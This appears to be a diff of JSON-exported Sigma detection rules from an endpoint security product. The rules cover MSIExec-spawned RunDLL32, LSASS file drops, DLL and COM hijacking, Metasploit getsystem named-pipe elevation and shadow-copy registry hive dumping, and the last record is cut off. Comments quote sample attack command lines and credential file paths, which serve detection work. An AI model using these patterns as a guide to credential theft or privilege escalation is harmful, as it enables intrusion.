+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_suspicious_rundll32_msiexec.yml",
+  "content": "title: Suspicious RunDLL32 Execution via MSIExec\nid: 029c4324-60c2-46df-b249-b6b72b737c5e\ndescription: |\n    Detects the suspicious loading of a DLL by RunDLL32 via MSIExec.\n    Attackers can use MSI files as an installation vector for malware, executing malicious payloads during the installation process.\n    Specifically, they can configure a Custom Action in the MSI to load a DLL via RunDLL32.\n    This behavior is used by the Pikabot malware, in its initial infection chain.\n    It is recommended to analyze the loaded DLL and to look for malicious content or actions performed by RunDLL32.\nreferences:\n    - https://twitter.com/Cryptolaemus1/status/1733243361534857222\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2023/12/11\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'RUNDLL32.EXE'\n        CommandLine|contains: '?:\\Users\\\\*\\AppData\\Local\\Temp'\n        ParentImage|endswith: '\\rundll32.exe'\n        GrandparentImage|endswith: '\\msiexec.exe'\n\n    exclusion_setupapi:\n        CommandLine|contains: 'setupapi,InstallHinfSection'\n\n    exclusion_adinstrument:\n        CommandLine|contains: '\\ADInstruments\\LabChart8\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "029c4324-60c2-46df-b249-b6b72b737c5e",
+  "rule_name": "Suspicious RunDLL32 Execution via MSIExec",
+  "rule_description": "Detects the suspicious loading of a DLL by RunDLL32 via MSIExec.\nAttackers can use MSI files as an installation vector for malware, executing malicious payloads during the installation process.\nSpecifically, they can configure a Custom Action in the MSI to load a DLL via RunDLL32.\nThis behavior is used by the Pikabot malware, in its initial infection chain.\nIt is recommended to analyze the loaded DLL and to look for malicious content or actions performed by RunDLL32.\n",
+  "rule_creation_date": "2023-12-11",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "02b0f6f4-476e-4b12-8067-6fbac9b0fc30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297348Z",
+  "creation_date": "2026-03-23T11:45:35.297352Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297359Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/",
+    "https://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "t1003_001_lsass_dropping_file_unknown_module.yml",
+  "content": "title: File Dropped by LSASS Process from Unknown Module\nid: 02b0f6f4-476e-4b12-8067-6fbac9b0fc30\ndescription: |\n    Detects when a file is written to disk by the Local Security Authority Subsystem Service (LSASS) process from an unknown module.\n    The LSASS process is responsible for authentications in Windows.\n    Adversaries may attempt to access credential material stored in the LSASS' process memory.\n    A file dropped by the LSASS process could be the result of credential theft.\n    It is recommended to investigate processes loaded before LSASS dropped this file as well as to download the dropped file for analysis.\n    If this activity is recurrent in your environment and you've determined its legitimacy, it is highly recommended to whitelist the concerned path.\nreferences:\n    - https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/\n    - https://github.com/gentilkiwi/mimikatz\ndate: 2025/03/24\nmodified: 2026/03/05\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n        MinimalStackTrace|endswith: '|UNKNOWN'\n\n    exclusion_netlogon:\n        Path: '?:\\Windows\\System32\\config\\netlogon.ftl'\n\n    exclusion_path:\n        Path:\n            - '?:\\ProgramData\\Microsoft\\Crypto\\Keys\\\\????????????????????????????????_????????-????-????-????-????????????'\n            - '?:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\\\????????????????????????????????_????????-????-????-????-????????????'\n            - '?:\\System Volume Information\\EFS0.LOG'\n            - '?:\\Windows\\NTDS\\edbtmp.log'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Local\\Packages\\\\*'\n            - '?:\\Users\\\\*\\AppData\\LocalLow\\Microsoft\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\\\*'\n            - '?:\\Windows\\ServiceProfiles\\\\*\\AppData\\Local\\Microsoft\\\\*'\n            - '?:\\Windows\\ServiceProfiles\\\\*\\AppData\\Roaming\\Microsoft\\\\*'\n            - '?:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\\\*'\n            - '?:\\Windows\\System32\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\\\*'\n            - '?:\\Windows\\System32\\Microsoft\\Protect\\S-*\\\\????????-????-????-????-????????????'\n            - '?:\\Windows\\System32\\Microsoft\\Protect\\S-*\\User\\\\????????-????-????-????-????????????'\n\n    exclusion_credential_manager:\n        Path:\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Vault\\\\????????-????-????-????-????????????\\\\????????????????????????????????????????.vcrd'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Vault\\\\????????-????-????-????-????????????\\\\????????-????-????-????-????????????.vsch'\n\n    exclusion_securetimeaggregator:\n        Path: '?:\\Windows\\System32\\\\????????-????-????-????-????????????'\n        StackTrace|contains: '|?:\\Windows\\System32\\SecureTimeAggregator.dll!'\n\n    exclusion_btpass:\n        MinimalStackTrace|contains: '|BTPassAsm.dll|'\n        Path: '?:\\Windows\\BTPass\\BT*.txt'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "02b0f6f4-476e-4b12-8067-6fbac9b0fc30",
+  "rule_name": "File Dropped by LSASS Process from Unknown Module",
+  "rule_description": "Detects when a file is written to disk by the Local Security Authority Subsystem Service (LSASS) process from an unknown module.\nThe LSASS process is responsible for authentications in Windows.\nAdversaries may attempt to access credential material stored in the LSASS' process memory.\nA file dropped by the LSASS process could be the result of credential theft.\nIt is recommended to investigate processes loaded before LSASS dropped this file as well as to download the dropped file for analysis.\nIf this activity is recurrent in your environment and you've determined its legitimacy, it is highly recommended to whitelist the concerned path.\n",
+  "rule_creation_date": "2025-03-24",
+  "rule_modified_date": "2026-03-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "02c15562-11e7-4250-b6e6-12f040b41450",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591575Z",
+  "creation_date": "2026-03-23T11:45:34.591579Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591587Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iesettingsync.yml",
+  "content": "title: DLL Hijacking via IESettingSync.exe\nid: 02c15562-11e7-4250-b6e6-12f040b41450\ndescription: |\n    Detects potential Windows DLL Hijacking via IESettingSync.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'IESettingSync.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cabinet.dll'\n            - '\\iertutil.dll'\n            - '\\mpr.dll'\n            - '\\sspicli.dll'\n            - '\\umpdc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "02c15562-11e7-4250-b6e6-12f040b41450",
+  "rule_name": "DLL Hijacking via IESettingSync.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via IESettingSync.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "02ce0f33-c820-4f8d-8af4-6118aa5e0f86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077208Z",
+  "creation_date": "2026-03-23T11:45:34.077210Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077214Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.rapid7.com/metasploit/meterpreter-getsystem/",
+    "https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/priv/elevate.c#L70",
+    "https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/priv/namedpipe.c",
+    "https://attack.mitre.org/techniques/T1134/001/"
+  ],
+  "name": "t1134_001_metasploit_get_system.yml",
+  "content": "title: Metasploit Get SYSTEM Command Detected\nid: 02ce0f33-c820-4f8d-8af4-6118aa5e0f86\ndescription: |\n    Detects a suspicious attempt to elevate privilege to local SYSTEM via the Metasploit Framework.\n    Metasploit is a penetration testing framework used for exploiting vulnerabilities, gaining unauthorized access, performing privilege escalation, and conducting post-exploitation activities.\n    Metasploit spawns a service to elevate from local Admin to local SYSTEM via Named Pipe Impersonation.\n    It is recommended to investigate other malicious actions taken by the detected process and its ancestors.\nreferences:\n    - https://docs.rapid7.com/metasploit/meterpreter-getsystem/\n    - https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/priv/elevate.c#L70\n    - https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/priv/namedpipe.c\n    - https://attack.mitre.org/techniques/T1134/001/\ndate: 2022/02/14\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1134.001\n    - attack.t1569.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Metasploit\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_services:\n        ParentImage|endswith: '\\services.exe'\n\n    selection_variant_cmd:\n        # cmd.exe /c echo lddocl > \\\\.\\pipe\\lddocl\n        Image|endswith: '\\cmd.exe'\n        CommandLine|endswith: '/c echo ?????? > \\\\\\\\.\\\\pipe\\\\??????'\n\n    selection_variant_rundll32:\n        # rundll32.exe C:\\Windows\\TEMP\\lddocl.dll,a /p:lddocl\n        Image|endswith: '\\rundll32.exe'\n        CommandLine|endswith: '??????.dll,a /p:??????'\n\n    condition: selection_services and 1 of selection_variant_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "02ce0f33-c820-4f8d-8af4-6118aa5e0f86",
+  "rule_name": "Metasploit Get SYSTEM Command Detected",
+  "rule_description": "Detects a suspicious attempt to elevate privilege to local SYSTEM via the Metasploit Framework.\nMetasploit is a penetration testing framework used for exploiting vulnerabilities, gaining unauthorized access, performing privilege escalation, and conducting post-exploitation activities.\nMetasploit spawns a service to elevate from local Admin to local SYSTEM via Named Pipe Impersonation.\nIt is recommended to investigate other malicious actions taken by the detected process and its ancestors.\n",
+  "rule_creation_date": "2022-02-14",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "02fc96b9-8da8-4b40-8a75-557d9c2f79d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079579Z",
+  "creation_date": "2026-03-23T11:45:34.079581Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079586Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/002/",
+    "https://attack.mitre.org/techniques/T1003/004/"
+  ],
+  "name": "t1003_registry_extract_shadowcopy.yml",
+  "content": "title: Sensitive Registry Hive Dumped from Volume Shadow Copy\nid: 02fc96b9-8da8-4b40-8a75-557d9c2f79d3\ndescription: |\n    Detects file accesses to registry hives saved inside a Volume Shadow Copy.\n    Attackers can use Shadow Copy Volumes to access files that would normally be protected from access by the system.\n    This can be indicative of an attempt to access sensitive information stored in registry hives (such as the SAM or the LSA secrets) for credential access.\n    It is recommended to investigate the process trying to access the hives for malicious contents.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/002/\n    - https://attack.mitre.org/techniques/T1003/004/\ndate: 2023/06/26\nmodified: 2025/10/23\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1003.002\n    - attack.t1003.004\n    - classification.Windows.Source.ShadowCopy\n    - classification.Windows.Behavior.VolumeShadowCopy\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_shadowcopy\n    product: windows\ndetection:\n    selection:\n        Path|endswith:\n            - '\\Windows\\System32\\config\\SYSTEM'\n            - '\\Windows\\System32\\config\\SAM'\n            - '\\Windows\\System32\\config\\SECURITY'\n            - '\\Windows\\System32\\config\\RegBack\\SYSTEM'\n            - '\\Windows\\System32\\config\\RegBack\\SAM'\n            - '\\Windows\\System32\\config\\RegBack\\SECURITY'\n            # - '\\Windows\\System32\\config\\SOFTWARE' # too many FP\n\n    selection_remote_system:\n        # Impacket’s secretsdump used with the option —use-remoteSSMethod.\n        ProcessName: 'system'\n        ProcessId: '4'\n        SessionLogonType: 3\n\n    exclusion_known_fp_win7:\n        # seems to happen on win7 and 2008\n        CreateOptionsStr:\n            - 'FILE_NON_DIRECTORY_FILE|FILE_COMPLETE_IF_OPLOCKED' # 0x0140 / FILE_NON_DIRECTORY_FILE|FILE_COMPLETE_IF_OPLOCKED\n            - 'FILE_SYNCHRONOUS_IO_NONALERT|FILE_NON_DIRECTORY_FILE|FILE_COMPLETE_IF_OPLOCKED' # 0x0160 FILE_SYNCHRONOUS_IO_NONALERT|FILE_NON_DIRECTORY_FILE|FILE_COMPLETE_IF_OPLOCKED\n        CreateDispositionStr: 'FILE_OPEN' # 0x01 / FILE_OPEN\n\n    exclusion_restore_point_creation:\n        ProcessCommandLine:\n            - '?:\\windows\\system32\\srtasks.exe ExecuteScheduledSPPCreation'\n            - '?:\\windows\\system32\\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_wbengine:\n        ProcessImage: '?:\\Windows\\System32\\wbengine.exe'\n\n    exclusion_lsass:\n        ProcessImage: '?:\\Windows\\System32\\lsass.exe'\n\n    exclusion_vssvc:\n        ProcessImage: '?:\\Windows\\system32\\vssvc.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MpDlpService.exe'\n\n    # another specific rule for this\n    exclusion_ntdsutil:\n        ProcessImage: '?:\\Windows\\System32\\ntdsutil.exe'\n\n    exclusion_trusted_installer:\n        ProcessImage: '?:\\Windows\\servicing\\TrustedInstaller.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_sdrsvc:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k SDRSVC'\n\n    exclusion_rstrui:\n        ProcessImage: '?:\\Windows\\system32\\rstrui.exe'\n\n    exclusion_recoverydrive:\n        # Recovery Media Creator\n        ProcessImage: '?:\\Windows\\System32\\RecoveryDrive.exe'\n\n    exclusion_search_protocolhost:\n        ProcessImage: '?:\\Windows\\System32\\SearchProtocolHost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\SearchIndexer.exe'\n\n    exclusion_igfxcui:\n        ProcessGrandparentImage: '?:\\Windows\\system32\\igfxCUIService.exe'\n        ProcessImage: '?:\\Windows\\System32\\igfxEM.exe'\n\n    exclusion_cobian:\n        ProcessImage|endswith:\n            - '\\Cobian Backup 1?\\cbVSCService1?.exe'\n            - '\\Cobian Backup ??\\cbVSCService.exe'\n            - '\\Cobian Backup ??\\cbService.exe'\n            - '\\CobianBackup\\cbVSCService1?.exe'\n            - '\\CobianBackup\\cbVSCService.exe'\n\n    exclusion_commvault:\n        # For an unknwn reseaon the file has a valid signature but we say it is unsigned...\n        ProcessImage|endswith:\n            - '\\Commvault\\ContentStore\\Base\\cvd.exe'\n            - '\\Commvault\\Base\\CLBackup.exe'\n            - '\\Commvault\\ContentStore\\Base\\CLBackup.exe'\n        ProcessSignature: 'Commvault Systems, Inc.'\n\n    exclusion_dell:\n        ProcessDescription: 'Avamar Backup Client'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Dell Technologies Inc.'\n            - 'EMC Corporation'\n\n    condition: selection and ((not 1 of exclusion_*) or selection_remote_system)\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "02fc96b9-8da8-4b40-8a75-557d9c2f79d3",
+  "rule_name": "Sensitive Registry Hive Dumped from Volume Shadow Copy",
+  "rule_description": "Detects file accesses to registry hives saved inside a Volume Shadow Copy.\nAttackers can use Shadow Copy Volumes to access files that would normally be protected from access by the system.\nThis can be indicative of an attempt to access sensitive information stored in registry hives (such as the SAM or the LSA secrets) for credential access.\nIt is recommended to investigate the process trying to access the hives for malicious contents.\n",
+  "rule_creation_date": "2023-06-26",
+  "rule_modified_date": "2025-10-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1003.002",
+    "attack.t1003.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "032b28af-b4ce-4476-a201-8b2896158878",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623666Z",
+  "creation_date": "2026-03-23T11:45:34.623668Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623672Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trellix.com/en-us/about/newsroom/stories/research/prime-ministers-office-compromised.html",
+    "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/",
+    "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/",
+    "https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/",
+    "https://github.com/eset/malware-ioc/blob/master/turla/README.adoc",
+    "https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1546_015_component_object_model_hijacking.yml",
+  "content": "title: Possible Component Object Model Hijacking\nid: 032b28af-b4ce-4476-a201-8b2896158878\ndescription: |\n    Detects the possible hijacking of a Component Object Model (COM) in the registry.\n    Attackers can use this method to achieve persistence through an event trigger execution.\n    The DLL indicated in the hijacked registry key is then loaded when the corresponding COM is called by the system.\n    It is recommended to analyze the specified DLL for malicious content and the process making the registry modification for any other suspicious actions.\nreferences:\n    - https://www.trellix.com/en-us/about/newsroom/stories/research/prime-ministers-office-compromised.html\n    - https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\n    - https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/\n    - https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/\n    - https://github.com/eset/malware-ioc/blob/master/turla/README.adoc\n    - https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2022/09/29\nmodified: 2026/02/02\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.015\n    - attack.execution\n    - attack.t1559.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.Hijacking\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n\n    selection_ehstorshell:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\\InprocServer32\\(Default)'\n    filter_ehstorshell:\n        Details: '?:\\Windows\\System32\\EhStorShell.dll'\n\n    selection_wmiutils:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Classes\\CLSID\\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\\InprocServer32\\(Default)'  # WbemDefaultPathParser\n            - 'HKLM\\SOFTWARE\\Classes\\CLSID\\{EAC8A024-21E2-4523-AD73-A71A0AA2F56A}\\InprocServer32\\(Default)'  # WbemQuery\n            - 'HKLM\\SOFTWARE\\Classes\\CLSID\\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\\InprocServer32\\(Default)'  # WbemStatusCode\n    filter_wmiutils:\n        Details: '%systemroot%\\system32\\wbem\\wmiutils.dll'\n\n    selection_wmiprvsd:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{4DE225BF-CF59-4CFC-85F7-68B90F185355}\\InprocServer32\\(Default)'\n    filter_wmiprvsd:\n        Details: '%systemroot%\\system32\\wbem\\wmiprvsd.dll'\n\n    selection_wbemsvc:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24}\\InprocServer32\\(Default)'\n    filter_wbemsvc:\n        Details: '%systemroot%\\system32\\wbem\\wbemsvc.dll'\n\n    selection_wbemprox:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{4590F811-1D3A-11D0-891F-00AA004B2E24}\\InprocServer32\\(Default)'\n    filter_wbemprox:\n        Details: '%systemroot%\\system32\\wbem\\wbemprox.dll'\n\n    selection_applicationframe:\n        TargetObject: 'HKLM\\SOFTWARE\\Classes\\CLSID\\{DDC05A5A-351A-4E06-8EAF-54EC1BC2DCEA}\\InprocServer32\\(Default)'\n    